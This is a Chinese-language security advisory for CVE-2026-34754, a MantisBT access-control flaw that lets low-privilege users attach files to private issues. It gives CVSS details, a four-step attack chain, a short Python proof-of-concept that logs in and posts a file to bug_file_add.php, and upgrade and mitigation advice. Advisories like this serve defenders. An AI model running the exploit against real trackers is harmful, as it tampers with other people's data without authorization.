IPBUF安全漏洞报告
English
CVE-2026-34754 CVSS 4.3 中危

CVE-2026-34754 MantisBT权限绕过导致未授权附件上传

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-34754
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mantis Bug Tracker

相关标签

权限绕过MantisBTCVE-2026-34754访问控制缺陷文件上传

漏洞概述

Mantis Bug Tracker(MantisBT)是一款广泛使用的开源问题跟踪系统。在其2.28.1及更早版本中发现了一个安全漏洞,允许经过身份认证的用户绕过访问控制限制。具体表现为,低权限用户可以向其无权访问的私有问题上传附件。该漏洞的成因在于系统在处理文件上传请求时,未能充分验证用户对目标问题的访问权限。攻击者无需进行复杂的用户交互,仅需通过网络即可利用此漏洞。目前官方已在2.28.2版本中修复了此问题,建议管理员尽快升级以防止潜在的数据完整性风险。

技术细节

该漏洞属于典型的访问控制失效(Broken Access Control)类型。在MantisBT的受影响版本中,处理附件上传的后端逻辑存在缺陷。当用户发起上传请求时,系统虽然验证了用户的登录状态(Authentication),但未正确检查该用户是否具备目标Issue的访问权限(Authorization)。由于CVSS向量显示PR:L(低权限),攻击者首先需要一个有效的普通账户。利用过程中,攻击者通过构造特定的HTTP POST请求,指定一个私有Issue的ID作为上传目标。由于权限校验逻辑缺失,服务器接受了该请求并将文件关联到了私有Issue上。虽然CVSS评分显示机密性影响(C)为无,但完整性影响(I)为低,这意味着攻击者虽然可能无法直接读取私有数据,但可以通过上传垃圾文件干扰问题管理流程,或在特定配置下进一步利用上传的文件进行攻击。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统使用MantisBT,并获取一个有效的低权限用户账户。
STEP 2
身份认证
攻击者使用获取的凭证登录系统,建立有效的会话。
STEP 3
漏洞利用
攻击者构造上传请求,将目标参数设置为私有Issue的ID,发送上传附件的请求。
STEP 4
产生影响
系统由于权限校验缺失,接受请求并将附件关联到私有Issue,破坏数据完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://localhost/mantisbt/bug_file_add.php" login_url = "http://localhost/mantisbt/login.php" username = "low_priv_user" password = "password" target_bug_id = "100" # ID of a private issue session = requests.Session() # Step 1: Authenticate to get a valid session login_payload = { "username": username, "password": password, "return": "index.php" } print("[*] Attempting login...") session.post(login_url, data=login_payload) # Step 2: Upload attachment to private issue # The vulnerability lies in the lack of access check for 'bug_id' files = { 'file': ('malicious_payload.txt', b'This is an unauthorized upload.', 'text/plain') } upload_data = { 'bug_id': target_bug_id, 'max_file_size': '5000000' } print(f"[*] Attempting to upload file to private issue {target_bug_id}...") response = session.post(target_url, files=files, data=upload_data) if response.status_code == 200 and "File uploaded successfully" in response.text: print("[+] Exploit successful! File uploaded to unauthorized private issue.") else: print("[-] Exploit failed or issue already patched.")

影响范围

Mantis Bug Tracker <= 2.28.1

防御指南

临时缓解措施
建议立即将MantisBT升级至2.28.2版本以彻底修复此漏洞。如果无法立即升级,管理员应考虑在Web服务器层面限制对`bug_file_add.php`等上传接口的访问,或仅允许特定IP/用户组进行文件上传操作,直到完成升级更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表